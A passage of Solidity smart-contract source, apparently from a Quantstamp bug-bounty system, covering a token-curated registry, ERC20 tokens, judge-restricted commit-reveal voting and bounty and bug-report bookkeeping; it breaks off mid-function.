function challengeCanBeResolved(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
Challenge memory challenge = challenges[prop.challengeID];
return (prop.challengeID > 0 && challenge.resolved == false && voting.pollEnded(prop.challengeID));
}
function challengeWinnerReward(uint _challengeID) public view returns (uint) {
if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return 2 * challenges[_challengeID].stake;
}
return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool;
}
function get(string _name) public view returns (uint value) {
return params[keccak256(abi.encodePacked(_name))];
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _propID) private {
ParamProposal memory prop = proposals[_propID];
Challenge storage challenge = challenges[prop.challengeID];
uint reward = challengeWinnerReward(prop.challengeID);
challenge.winningTokens = voting.getTotalNumberOfTokensForWinningOption(prop.challengeID);
challenge.resolved = true;
if (voting.isPassed(prop.challengeID)) {
if(prop.processBy > now) {
set(prop.name, prop.value);
}
emit _ChallengeFailed(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(prop.owner, reward));
}
else {
emit _ChallengeSucceeded(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(challenges[prop.challengeID].challenger, reward));
}
}
function set(string _name, uint _value) private {
params[keccak256(abi.encodePacked(_name))] = _value;
}
}
contract Registry {
event _Application(bytes32 indexed listingHash, uint deposit, uint appEndDate, string data, address indexed applicant);
event _Challenge(bytes32 indexed listingHash, uint challengeID, string data, uint commitEndDate, uint revealEndDate, address indexed challenger);
event _Deposit(bytes32 indexed listingHash, uint added, uint newTotal, address indexed owner);
event _Withdrawal(bytes32 indexed listingHash, uint withdrew, uint newTotal, address indexed owner);
event _ApplicationWhitelisted(bytes32 indexed listingHash);
event _ApplicationRemoved(bytes32 indexed listingHash);
event _ListingRemoved(bytes32 indexed listingHash);
event _ListingWithdrawn(bytes32 indexed listingHash, address indexed owner);
event _TouchAndRemoved(bytes32 indexed listingHash);
event _ChallengeFailed(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeSucceeded(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward, address indexed voter);
event _ExitInitialized(bytes32 indexed listingHash, uint exitTime, uint exitDelayEndDate, address indexed owner);
using SafeMath for uint;
struct Listing {
uint applicationExpiry;
bool whitelisted;
address owner;
uint unstakedDeposit;
uint challengeID;
uint exitTime;
uint exitTimeExpiry;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint totalTokens;
mapping(address => bool) tokenClaims;
}
mapping(uint => Challenge) public challenges;
mapping(bytes32 => Listing) public listings;
EIP20Interface public token;
PLCRVoting public voting;
Parameterizer public parameterizer;
string public name;
function init(address _token, address _voting, address _parameterizer, string _name) public {
require(_token != 0 && address(token) == 0);
require(_voting != 0 && address(voting) == 0);
require(_parameterizer != 0 && address(parameterizer) == 0);
token = EIP20Interface(_token);
voting = PLCRVoting(_voting);
parameterizer = Parameterizer(_parameterizer);
name = _name;
}
function apply(bytes32 _listingHash, uint _amount, string _data) external {
require(!isWhitelisted(_listingHash));
require(!appWasMade(_listingHash));
require(_amount >= parameterizer.get("minDeposit"));
Listing storage listing = listings[_listingHash];
listing.owner = msg.sender;
listing.applicationExpiry = block.timestamp.add(parameterizer.get("applyStageLen"));
listing.unstakedDeposit = _amount;
require(token.transferFrom(listing.owner, this, _amount));
emit _Application(_listingHash, _amount, listing.applicationExpiry, _data, msg.sender);
}
function deposit(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
listing.unstakedDeposit += _amount;
require(token.transferFrom(msg.sender, this, _amount));
emit _Deposit(_listingHash, _amount, listing.unstakedDeposit, msg.sender);
}
function withdraw(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
require(_amount <= listing.unstakedDeposit);
require(listing.unstakedDeposit - _amount >= parameterizer.get("minDeposit"));
listing.unstakedDeposit -= _amount;
require(token.transfer(msg.sender, _amount));
emit _Withdrawal(_listingHash, _amount, listing.unstakedDeposit, msg.sender);
}
function initExit(bytes32 _listingHash) external {
Listing storage listing = listings[_listingHash];
require(msg.sender == listing.owner);
require(isWhitelisted(_listingHash));
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
require(listing.exitTime == 0 || now > listing.exitTimeExpiry);
listing.exitTime = now.add(parameterizer.get("exitTimeDelay"));
listing.exitTimeExpiry = listing.exitTime.add(parameterizer.get("exitPeriodLen"));
emit _ExitInitialized(_listingHash, listing.exitTime,
listing.exitTimeExpiry, msg.sender);
}
function finalizeExit(bytes32 _listingHash) external {
Listing storage listing = listings[_listingHash];
require(msg.sender == listing.owner);
require(isWhitelisted(_listingHash));
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
require(listing.exitTime > 0);
require(listing.exitTime < now && now < listing.exitTimeExpiry);
resetListing(_listingHash);
emit _ListingWithdrawn(_listingHash, msg.sender);
}
function challenge(bytes32 _listingHash, string _data) external returns (uint challengeID) {
Listing storage listing = listings[_listingHash];
uint minDeposit = parameterizer.get("minDeposit");
require(appWasMade(_listingHash) || listing.whitelisted);
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
if (listing.unstakedDeposit < minDeposit) {
resetListing(_listingHash);
emit _TouchAndRemoved(_listingHash);
return 0;
}
uint pollID = voting.startPoll(
parameterizer.get("voteQuorum"),
parameterizer.get("commitStageLen"),
parameterizer.get("revealStageLen")
);
uint oneHundred = 100;
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: ((oneHundred.sub(parameterizer.get("dispensationPct"))).mul(minDeposit)).div(100),
stake: minDeposit,
resolved: false,
totalTokens: 0
});
listing.challengeID = pollID;
listing.unstakedDeposit -= minDeposit;
require(token.transferFrom(msg.sender, this, minDeposit));
(uint commitEndDate, uint revealEndDate,,,) = voting.pollMap(pollID);
emit _Challenge(_listingHash, pollID, _data, commitEndDate, revealEndDate, msg.sender);
return pollID;
}
function updateStatus(bytes32 _listingHash) public {
if (canBeWhitelisted(_listingHash)) {
whitelistApplication(_listingHash);
} else if (challengeCanBeResolved(_listingHash)) {
resolveChallenge(_listingHash);
} else {
revert();
}
}
function updateStatuses(bytes32[] _listingHashes) public {
for (uint i = 0; i < _listingHashes.length; i++) {
updateStatus(_listingHashes[i]);
}
}
function claimReward(uint _challengeID) public {
Challenge storage challengeInstance = challenges[_challengeID];
require(challengeInstance.tokenClaims[msg.sender] == false);
require(challengeInstance.resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID);
uint reward = voterTokens.mul(challengeInstance.rewardPool)
.div(challengeInstance.totalTokens);
challengeInstance.totalTokens -= voterTokens;
challengeInstance.rewardPool -= reward;
challengeInstance.tokenClaims[msg.sender] = true;
require(token.transfer(msg.sender, reward));
emit _RewardClaimed(_challengeID, reward, msg.sender);
}
function claimRewards(uint[] _challengeIDs) public {
for (uint i = 0; i < _challengeIDs.length; i++) {
claimReward(_challengeIDs[i]);
}
}
function voterReward(address _voter, uint _challengeID)
public view returns (uint) {
uint totalTokens = challenges[_challengeID].totalTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID);
return voterTokens.mul(rewardPool).div(totalTokens);
}
function canBeWhitelisted(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
if (
appWasMade(_listingHash) &&
listings[_listingHash].applicationExpiry < now &&
!isWhitelisted(_listingHash) &&
(challengeID == 0 || challenges[challengeID].resolved == true)
) { return true; }
return false;
}
function isWhitelisted(bytes32 _listingHash) view public returns (bool whitelisted) {
return listings[_listingHash].whitelisted;
}
function appWasMade(bytes32 _listingHash) view public returns (bool exists) {
return listings[_listingHash].applicationExpiry > 0;
}
function challengeExists(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
return (listings[_listingHash].challengeID > 0 && !challenges[challengeID].resolved);
}
function challengeCanBeResolved(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
require(challengeExists(_listingHash));
return voting.pollEnded(challengeID);
}
function determineReward(uint _challengeID) public view returns (uint) {
require(!challenges[_challengeID].resolved && voting.pollEnded(_challengeID));
if (voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return 2 * challenges[_challengeID].stake;
}
return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool;
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _listingHash) private {
uint challengeID = listings[_listingHash].challengeID;
uint reward = determineReward(challengeID);
challenges[challengeID].resolved = true;
challenges[challengeID].totalTokens =
voting.getTotalNumberOfTokensForWinningOption(challengeID);
if (voting.isPassed(challengeID)) {
whitelistApplication(_listingHash);
listings[_listingHash].unstakedDeposit += reward;
emit _ChallengeFailed(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
else {
resetListing(_listingHash);
require(token.transfer(challenges[challengeID].challenger, reward));
emit _ChallengeSucceeded(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
}
function whitelistApplication(bytes32 _listingHash) private {
if (!listings[_listingHash].whitelisted) { emit _ApplicationWhitelisted(_listingHash); }
listings[_listingHash].whitelisted = true;
}
function resetListing(bytes32 _listingHash) private {
Listing storage listing = listings[_listingHash];
if (listing.whitelisted) {
emit _ListingRemoved(_listingHash);
} else {
emit _ApplicationRemoved(_listingHash);
}
address owner = listing.owner;
uint unstakedDeposit = listing.unstakedDeposit;
delete listings[_listingHash];
if (unstakedDeposit > 0){
require(token.transfer(owner, unstakedDeposit));
}
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Whitelist is Ownable, RBAC {
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyWhitelisted() {
checkRole(msg.sender, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address addr)
onlyOwner
public
{
addRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressAdded(addr);
}
function whitelist(address addr)
public
view
returns (bool)
{
return hasRole(addr, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addAddressToWhitelist(addrs[i]);
}
}
function removeAddressFromWhitelist(address addr)
onlyOwner
public
{
removeRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressRemoved(addr);
}
function removeAddressesFromWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
removeAddressFromWhitelist(addrs[i]);
}
}
}
contract RestrictedPLCRVoting is PLCRVoting, Whitelist {
using SafeMath for uint256;
using LinkedListLib for LinkedListLib.LinkedList;
uint256 constant internal NULL = 0;
uint256 constant internal HEAD = 0;
bool constant internal PREV = false;
bool constant internal NEXT = true;
Registry public judgeRegistry;
QuantstampBountyData public bountyData;
mapping(uint256 => bool) isRestrictedPoll;
mapping(uint256 => uint256) minimumVotes;
mapping(uint256 => uint256) judgeDeposit;
mapping(address => mapping(uint256 => bool)) private voterHasClaimedReward;
mapping(address => mapping(uint256 => bool)) private votedAffirmatively;
mapping (address => LinkedListLib.LinkedList) private voterPolls;
mapping (address => uint256) public voterPollsCount;
event LogPollRestricted(uint256 pollId);
function initialize(address _token, address _registry, address _bountyData) public {
require(_token != 0 && address(token) == 0);
require(_registry != 0 && address(judgeRegistry) == 0);
require(_bountyData != 0 && address(bountyData) == 0);
bountyData = QuantstampBountyData(_bountyData);
token = EIP20Interface(_token);
judgeRegistry = Registry(_registry);
pollNonce = INITIAL_POLL_NONCE;
}
function isJudge(address addr) public view returns(bool) {
return judgeRegistry.isWhitelisted(bytes32(uint256(addr) << 96));
}
function restrictPoll(uint256 _pollId, uint256 _minimumVotes, uint256 _judgeDepositAmount) public onlyWhitelisted {
isRestrictedPoll[_pollId] = true;
minimumVotes[_pollId] = _minimumVotes;
judgeDeposit[_pollId] = _judgeDepositAmount;
emit LogPollRestricted(_pollId);
}
function setVoterClaimedReward(address _voter, uint256 _pollID) public onlyWhitelisted {
voterHasClaimedReward[_voter][_pollID] = true;
}
function isEnoughVotes(uint256 _pollId) public view returns (bool) {
return pollMap[_pollId].votesFor.add(pollMap[_pollId].votesAgainst) >= minimumVotes[_pollId].mul(judgeDeposit[_pollId]);
}
function init(address _token) public {
require(false);
}
function commitVote(uint256 _pollID, bytes32 _secretHash, uint256 _numTokens, uint256 _prevPollID) public {
if (isRestrictedPoll[_pollID]) {
require(isJudge(msg.sender));
require(_numTokens == judgeDeposit[_pollID]);
require(bountyData.isJudgingPeriod(bountyData.getBugBountyId(bountyData.getBugIdFromPollId(_pollID))));
}
super.commitVote(_pollID, _secretHash, _numTokens, _prevPollID);
}
function revealVote(uint256 _pollID, uint256 _voteOption, uint256 _salt) public {
address voter = msg.sender;
if (_voteOption == 1) {
votedAffirmatively[voter][_pollID] = true;
}
require(!voterPolls[voter].nodeExists(_pollID));
bool wasPassing = isPassing(_pollID);
bool wasEnoughVotes = isEnoughVotes(_pollID);
voterPolls[voter].push(_pollID, PREV);
voterPollsCount[voter] = voterPollsCount[voter].add(1);
super.revealVote(_pollID, _voteOption, _salt);
bool voteIsPassing = isPassing(_pollID);
bountyData.updateNumApprovedBugs(_pollID, wasPassing, voteIsPassing, wasEnoughVotes);
}
function removePollFromVoter (address _voter, uint256 _pollID) public onlyWhitelisted returns (bool) {
if (voterPolls[_voter].remove(_pollID) != 0) {
voterPollsCount[_voter] = voterPollsCount[_voter] - 1;
return true;
}
return false;
}
function isPassing(uint _pollID) public view returns (bool) {
Poll memory poll = pollMap[_pollID];
return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst));
}
function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint256) {
if (isRestrictedPoll[_pollID] && !isEnoughVotes(_pollID)) {
return 0;
}
return super.getTotalNumberOfTokensForWinningOption(_pollID);
}
function getNumPassingTokens(address _voter, uint _pollID) public constant returns (uint256) {
if (isRestrictedPoll[_pollID] && !isEnoughVotes(_pollID)) {
return 0;
}
return super.getNumPassingTokens(_voter, _pollID);
}
function isPassed(uint _pollID) constant public returns (bool) {
if (isRestrictedPoll[_pollID] && !isEnoughVotes(_pollID)) {
return false;
}
return super.isPassed(_pollID);
}
function hasVoterClaimedReward(address _voter, uint256 _pollID) public view returns (bool) {
return voterHasClaimedReward[_voter][_pollID];
}
function hasVotedAffirmatively(address _voter, uint256 _pollID) public view returns (bool) {
return votedAffirmatively[_voter][_pollID];
}
function getVoterPollsCount (address _voter) public view returns (uint256) {
return voterPollsCount[_voter];
}
function getListHeadConstant () public pure returns(uint256 head) {
return HEAD;
}
function getNextPollFromVoter(address _voter, uint256 _prevPollID) public view returns (bool, uint256) {
if (!voterPolls[_voter].listExists()) {
return (false, 0);
}
uint256 pollID;
bool exists;
(exists, pollID) = voterPolls[_voter].getAdjacent(_prevPollID, NEXT);
if (!exists || pollID == 0) {
return (false, 0);
}
return (true, pollID);
}
}
contract QuantstampBountyData is Whitelist {
using SafeMath for uint256;
using LinkedListLib for LinkedListLib.LinkedList;
uint256 constant internal NULL = 0;
uint256 constant internal HEAD = 0;
bool constant internal PREV = false;
bool constant internal NEXT = true;
uint256 constant internal NUMBER_OF_PHASES = 3;
struct Bounty {
address submitter;
string contractAddress;
uint256 size;
uint256 minVotes;
uint256 duration;
uint256 judgeDeposit;
uint256 hunterDeposit;
uint256 initiationTimestamp;
bool remainingFeesWithdrawn;
uint256 numApprovedBugs;
}
struct Bug {
address hunter;
uint256 bountyId;
string bugDescription;
uint256 numTokens;
uint256 pollId;
}
struct BugCommit {
address hunter;
uint256 bountyId;
bytes32 bugDescriptionHash;
uint256 commitTimestamp;
uint256 revealStartTimestamp;
uint256 revealEndTimestamp;
uint256 numTokens;
}
mapping (uint256 => Bounty) public bounties;
mapping (uint256 => uint256) public pollIdToBugId;
uint256 private bountyCounter;
uint256 private bugCounter;
StandardToken public token;
RestrictedPLCRVoting public voting;
Parameterizer public parameterizer;
mapping (address => LinkedListLib.LinkedList) private hunterReportedBugs;
mapping (address => uint256) public hunterReportedBugsCount;
constructor (address tokenAddress, address votingAddress, address parameterizerAddress) public {
require(tokenAddress != address(0));
require(votingAddress != address(0));
require(parameterizerAddress != address(0));
token = StandardToken(tokenAddress);
voting = RestrictedPLCRVoting(votingAddress);
parameterizer = Parameterizer(parameterizerAddress);
}
mapping(uint256 => LinkedListLib.LinkedList) private bugLists;
mapping(uint256 => BugCommit) public bugCommitMap;
mapping(uint256 => Bug) public bugs;
function addBugCommitment(address hunter,
uint256 bountyId,
bytes32 bugDescriptionHash,
uint256 hunterDeposit) public onlyWhitelisted returns (uint256) {
bugCounter = bugCounter.add(1);
bugCommitMap[bugCounter] = BugCommit({
hunter: hunter,
bountyId: bountyId,
bugDescriptionHash: bugDescriptionHash,
commitTimestamp: block.timestamp,
revealStartTimestamp: getBountyRevealPhaseStartTimestamp(bountyId),
revealEndTimestamp: getBountyRevealPhaseEndTimestamp(bountyId),
numTokens: hunterDeposit
});
return bugCounter;
}
function addBug(uint256 bugId, string bugDescription, uint256 pollId) public onlyWhitelisted returns (bool) {
bugs[bugId] = Bug({
hunter: bugCommitMap[bugId].hunter,
bountyId: bugCommitMap[bugId].bountyId,
bugDescription: bugDescription,
numTokens: bugCommitMap[bugId].numTokens,
pollId: pollId
});
bugLists[bugCommitMap[bugId].bountyId].push(bugId, PREV);
pollIdToBugId[pollId] = bugId;
return true;
}
function addBounty (address submitter,
string contractAddress,
uint256 size,
uint256 minVotes,
uint256 duration,
uint256 judgeDeposit,
uint256 hunterDeposit) public onlyWhitelisted returns(uint256) {
bounties[++bountyCounter] = Bounty(submitter,
contractAddress,
size,
minVotes,
duration,
judgeDeposit,
hunterDeposit,
block.timestamp,
false,
0);
return bountyCounter;
}
function removeBugCommitment(uint256 bugId) public onlyWhitelisted returns (bool) {
delete bugCommitMap[bugId];
return true;
}
function updateNumApprovedBugs(uint256 pollId, bool wasPassing, bool isPassing, bool wasEnoughVotes) public {
require(msg.sender == address(voting));
uint256 bountyId = getBugBountyId(getBugIdFromPollId(pollId));
if (wasEnoughVotes) {
if (!wasPassing && isPassing) {
bounties[bountyId].numApprovedBugs = bounties[bountyId].numApprovedBugs.add(1);
} else if (wasPassing && !isPassing) {
bounties[bountyId].numApprovedBugs = bounties[bountyId].numApprovedBugs.sub(1);
}
} else if (voting.isEnoughVotes(pollId) && isPassing) {
bounties[bountyId].numApprovedBugs = bounties[bountyId].numApprovedBugs.add(1);
}
}
function getNumApprovedBugs(uint256 bountyId) public view returns (uint256) {
return bounties[bountyId].numApprovedBugs;
}
function setBountyRemainingFeesWithdrawn (uint256 bountyId) public onlyWhitelisted {
bounties[bountyId].remainingFeesWithdrawn = true;
}
function addBugToHunter (address hunter, uint256 bugId) public onlyWhitelisted {
hunterReportedBugs[hunter].push(bugId, PREV);
hunterReportedBugsCount[hunter] = hunterReportedBugsCount[hunter].add(1);
}
function removeBugFromHunter (address hunter, uint256 bugId) public onlyWhitelisted returns (bool) {
if (hunterReportedBugs[hunter].remove(bugId) != 0) {
hunterReportedBugsCount[hunter] = hunterReportedBugsCount[hunter].sub(1);
bugs[bugId].hunter = 0x0;
return true;
}
return false;
}
function getListHeadConstant () public pure returns(uint256 head) {
return HEAD;
}
function getBountySubmitter (uint256 bountyId) public view returns(address) {
return bounties[bountyId].submitter;
}
function getBountyContractAddress (uint256 bountyId) public view returns(string) {
return bounties[bountyId].contractAddress;
}
function getBountySize (uint256 bountyId) public view returns(uint256) {
return bounties[bountyId].size;
}
function getBountyMinVotes (uint256 bountyId) public view returns(uint256) {
return bounties[bountyId].minVotes;
}
function getBountyDuration (uint256 bountyId) public view returns(uint256) {
return bounties[bountyId].duration;
}
function getBountyJudgeDeposit (uint256 bountyId) public view returns(uint256) {
return bounties[bountyId].judgeDeposit;
}
function getBountyHunterDeposit (uint256 bountyId) public view returns(uint256) {
return bounties[bountyId].hunterDeposit;
}
function getBountyInitiationTimestamp (uint256 bountyId) public view returns(uint256) {
return bounties[bountyId].initiationTimestamp;
}
function getBountyCommitPhaseEndTimestamp (uint256 bountyId) public view returns(uint256) {
return bounties[bountyId].initiationTimestamp.add(getBountyDuration(bountyId).div(NUMBER_OF_PHASES));
}
function getBountyRevealPhaseStartTimestamp (uint256 bountyId) public view returns(uint256) {
return getBountyCommitPhaseEndTimestamp(bountyId).add(1);
}
function getBountyRevealPhaseEndTimestamp (uint256 bountyId) public view returns(uint256) {
return getBountyCommitPhaseEndTimestamp(bountyId).add(getBountyDuration(bountyId).div(NUMBER_OF_PHASES));
}
function getBountyJudgePhaseStartTimestamp (uint256 bountyId) public view returns(uint256) {
return getBountyRevealPhaseEndTimestamp(bountyId).add(1);
}
function getBountyJudgePhaseEndTimestamp (uint256 bountyId) public view returns(uint256) {
return bounties[bountyId].initiationTimestamp.add(getBountyDuration(bountyId));
}
function getBountyJudgeCommitPhaseEndTimestamp (uint256 bountyId) public view returns(uint256) {
uint256 judgePhaseDuration = getBountyDuration(bountyId).div(NUMBER_OF_PHASES);
return getBountyJudgePhaseStartTimestamp(bountyId).add(judgePhaseDuration.div(2));
}
function getBountyJudgeRevealDuration (uint256 bountyId) public view returns(uint256) {
return getBountyJudgePhaseEndTimestamp(bountyId).sub(getBountyJudgeCommitPhaseEndTimestamp(bountyId));
}
function isCommitPeriod (uint256 bountyId) public view returns(bool) {
return block.timestamp >= bounties[bountyId].initiationTimestamp && block.timestamp <= getBountyCommitPhaseEndTimestamp(bountyId);
}
function isRevealPeriod (uint256 bountyId) public view returns(bool) {
return block.timestamp >= getBountyRevealPhaseStartTimestamp(bountyId) && block.timestamp <= getBountyRevealPhaseEndTimestamp(bountyId);
}
function isJudgingPeriod (uint256 bountyId) public view returns(bool) {
return block.timestamp >= getBountyJudgePhaseStartTimestamp(bountyId) && block.timestamp <= getBountyJudgePhaseEndTimestamp(bountyId);
}
function getBountyRemainingFeesWithdrawn (uint256 bountyId) public view returns(bool) {
return bounties[bountyId].remainingFeesWithdrawn;
}
function getBugCommitCommitter(uint256 bugCommitId) public view returns (address) {
return bugCommitMap[bugCommitId].hunter;
}
function getBugCommitBountyId(uint256 bugCommitId) public view returns (uint256) {
return bugCommitMap[bugCommitId].bountyId;
}
function getBugCommitBugDescriptionHash(uint256 bugCommitId) public view returns (bytes32) {
return bugCommitMap[bugCommitId].bugDescriptionHash;
}
function getBugCommitCommitTimestamp(uint256 bugCommitId) public view returns (uint256) {
return bugCommitMap[bugCommitId].commitTimestamp;
}
function getBugCommitRevealStartTimestamp(uint256 bugCommitId) public view returns (uint256) {
return bugCommitMap[bugCommitId].revealStartTimestamp;
}
function getBugCommitRevealEndTimestamp(uint256 bugCommitId) public view returns (uint256) {
return bugCommitMap[bugCommitId].revealEndTimestamp;
}
function getBugCommitNumTokens(uint256 bugCommitId) public view returns (uint256) {
return bugCommitMap[bugCommitId].numTokens;
}
function bugRevealPeriodActive(uint256 bugCommitId) public view returns (bool) {
return bugCommitMap[bugCommitId].revealStartTimestamp <= block.timestamp && block.timestamp <= bugCommitMap[bugCommitId].revealEndTimestamp;
}
function bugRevealPeriodExpired(uint256 bugCommitId) public view returns (bool) {
return block.timestamp > bugCommitMap[bugCommitId].revealEndTimestamp;
}
function bugRevealDelayPeriodActive(uint256 bugCommitId) public view returns (bool) {
return block.timestamp < bugCommitMap[bugCommitId].revealStartTimestamp;
}
function bountyActive(uint256 bountyId) public view returns (bool) {
return block.timestamp <= getBountyInitiationTimestamp(bountyId).add(getBountyDuration(bountyId));
}
function getHunterReportedBugsCount (address hunter) public view returns (uint256) {
return hunterReportedBugsCount[hunter];
}
function getBugBountyId(uint256 bugId) public view returns (uint256) {
return bugs[bugId].bountyId;
}
function getBugHunter(uint256 bugId) public view returns (address) {
return bugs[bugId].hunter;
}
function getBugDescription(uint256 bugId) public view returns (string) {
return bugs[bugId].bugDescription;
}
function getBugNumTokens(uint256 bugId) public view returns (uint256) {
return bugs[bugId].numTokens;
}
function getBugPollId(uint256 bugId) public view returns (uint256) {
return bugs[bugId].pollId;
}
function getFirstRevealedBug(uint256 bountyId) public view returns (bool, uint256, string) {
return getNextRevealedBug(bountyId, HEAD);
}
function getBugIdFromPollId(uint256 pollId) public view returns (uint256) {
return pollIdToBugId[pollId];
}
function getNextRevealedBug(uint256 bountyId, uint256 previousBugId) public view returns (bool, uint256, string) {
if (!bugLists[bountyId].listExists()) {
return (false, 0, "");
}
uint256 bugId;
bool exists;
(exists, bugId) = bugLists[bountyId].getAdjacent(previousBugId, NEXT);
if (!exists || bugId == 0) {
return (false, 0, "");
}
string memory bugDescription = bugs[bugId].bugDescription;
return (true, bugId, bugDescription);
}
function getNextBugFromHunter(address hunter, uint256 previousBugId) public view returns (bool, uint256) {
if (!hunterReportedBugs[hunter].listExists()) {
return (false, 0);
}
uint256 bugId;
bool exists;
(exists, bugId) = hunterReportedBugs[hunter].getAdjacent(previousBugId, NEXT);
if (!exists || bugId == 0) {
return (false, 0);
}
return (true, bugId);
}
function canClaimJudgeAward(address judge, uint256 bugId) public view returns (bool) {
uint256 pollId = getBugPollId(bugId);
bool pollHasConcluded = voting.pollExists(pollId) && voting.pollEnded(pollId);
bool votedWithMajority = pollHasConcluded && voting.isEnoughVotes(pollId) &&
(voting.isPassed(pollId) && voting.hasVotedAffirmatively(judge, pollId) ||
!voting.isPassed(pollId) && !voting.hasVotedAffirmatively(judge, pollId));
bool alreadyClaimed = voting.hasVoterClaimedReward(judge, pollId);
bool bountyStillActive = bountyActive(getBugBountyId(bugId));
return votedWithMajority && !alreadyClaimed && !bountyStillActive;
}
}
contract QuantstampBounty is Ownable {
using SafeMath for uint256;
QuantstampBountyData public bountyData;
Registry public bountyRegistry;
event LogBugCommitted(uint256 bugId,
address hunter,
uint256 bountyId,
bytes32 bugDescriptionHash,
uint256 hunterDeposit);
event LogRevealBugRefund(uint256 bugId);
event LogBugRevealed(uint256 bountyId, uint256 bugId, address hunter);
event LogBugVoteInitiated(uint256 bountyId, uint256 bugId, uint256 pollId);
event LogBountyCreated(uint256 bountyId);
event LogBountyWithdrawn(uint256 bountyId, address submitter, uint256 amount);
event LogJudgePaid(uint256 bountyId, uint256 bugId, address judge, uint256 amount);
constructor(address bountyDataAddress, address tcrAddress) public {
require(bountyDataAddress != address(0));
require(tcrAddress != address(0));
bountyData = QuantstampBountyData(bountyDataAddress);
bountyRegistry = Registry(tcrAddress);
}
function getBountyRegistry() public view returns (address) {
return address(bountyRegistry);
}
function isJudge(address addr) public view returns(bool) {
return bountyRegistry.isWhitelisted(bytes32(uint256(addr) << 96));
}
function createBounty(string contractAddress,
uint256 bountySize,
uint256 minVotes,
uint256 duration,
uint256 judgeDeposit,
uint256 hunterDeposit) public {
require(bountySize > 0, "bountySize == 0");
require(judgeDeposit > 0, "judgeDeposit == 0");
require(hunterDeposit > 0, "hunterDeposit == 0");
require(minVotes > 0, "minVotes == 0");
require(duration > 0, "duration == 0");
uint256 bountyId = bountyData.addBounty(msg.sender,
contractAddress,
bountySize,
minVotes,
duration,
judgeDeposit,
hunterDeposit);
bountyData.token().transferFrom(msg.sender, address(this), bountySize);
emit LogBountyCreated(bountyId);
}
function submitBugCommitment(uint256 bountyId,
bytes32 bugDescriptionHash) public returns (bool) {
address hunter = msg.sender;
